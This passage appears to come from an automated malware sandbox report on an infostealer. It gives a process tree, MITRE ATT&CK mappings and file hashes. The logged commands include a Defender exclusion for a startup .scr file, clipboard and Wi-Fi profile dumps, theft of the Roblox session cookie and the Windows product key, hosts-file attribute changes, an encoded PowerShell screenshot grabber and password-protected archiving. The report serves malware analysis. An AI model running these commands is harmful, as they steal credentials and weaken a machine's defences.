    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5176
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4488
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5396
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:3772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5840
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:5240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3300
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xfk0mvts\xfk0mvts.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6008
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE6DC.tmp" "c:\Users\Admin\AppData\Local\Temp\xfk0mvts\CSCE4285159D2B4BD98B3CBF59C54F479F.TMP"
        6⤵
        
        PID:1748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5616
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6048
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    PID:4200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe a -r -hp"ghosty" "C:\Users\Admin\AppData\Local\Temp\RdfXe.zip" *"
    3⤵
    - Executes a command shell one-liner
    PID:5228
  - - C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe a -r -hp"ghosty" "C:\Users\Admin\AppData\Local\Temp\RdfXe.zip" *
      4⤵
      Executes dropped EXE
      PID:4124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    PID:1796
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:2568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:2540
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    PID:2032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:2856
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 973ad74fae234f8075b52d04e121806277ecd7df9609d3414e0b706069aee802
MD5 f40111e45331eb329d6e831528064d75
SHA1 e735f9dfafad653c12406f57f68227509f1e30e0
SHA512 db0e0fda8fa30414acdc6736944264220b32ac70c7c66217cc343a67fb6c5f5b339e513b1a128769e49b5e6a62cbc3f922fe29ff3507202886fb276e9662dd32
TLSH
T178218433B3DD8225D889403A50CEAC1032B5C7DB80DECE5BAB84D544F43FAA9CE606A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 442a255bb528da2d9a0b055213f1e915e6c8127bcdd204444d50d44a56fa82d5
MD5 192e931369a7b2c7d7675ff79ca3ab3d
SHA1 afed4a2994dc8164364ed8fd02b05896181c7600
SHA512 46fec116c60955c8d1bdd3e062dc9e649aa0600961cd86f78bd56d6114bc93d03981e6eb3ebc52d29c95ece0a3fce4e12afe4f8efbcbe9bdd222fef9ed19cd8d
TLSH
T189216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

